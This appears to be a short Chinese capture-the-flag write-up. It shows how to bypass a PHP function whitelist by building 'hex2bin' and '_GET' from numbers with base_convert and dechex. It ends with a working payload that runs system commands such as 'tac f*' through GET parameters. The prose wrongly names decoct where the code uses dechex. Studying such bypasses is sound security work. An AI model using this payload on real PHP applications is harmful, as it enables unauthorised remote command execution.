hexdec ( int $number ) : string
在这个题中,我们不能使用除题目白名单中给出的函数以外的任何字符。那我们的目的就是构造出字母或者构造出函数。
假设我们要构造出如下表达式
c=$_GET[a]($_GET[b])&a=system&b=cat flag
我们需要构造的是其实只有 _GET,$我们可用使用,中括号可用用花括号代替,小括号也是可以使用的。这时候我们想到了一个办法,如果可以构造出hex2bin函数就可以将16进制转换成字符串了。我们又可以用decoct将10进制转换成16进制。也就是可以将10进制转换成字符串。
那么问题来了,hex2bin怎么构造呢,这时候就需要用到base_convert了。
我们发现36进制中包含了所有的数字和字母,所有只需要将hex2bin按照36进制转换成10进制就可以了。
echo base_convert('hex2bin', 36, 10);
结果 37907361743
echo hexdec(bin2hex("_GET"));
结果 1598506324
现在我们要做的就是反过来了
base_convert('37907361743',10,36); hex2bin
base_convert('37907361743',10,36)(dechex('1598506324')); _GET
c=$pi=_GET;$$pi{abs}($$pi{acos})&abs=system&acos=tac f*
我们再把_GET进行替换
payload:
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=tac f*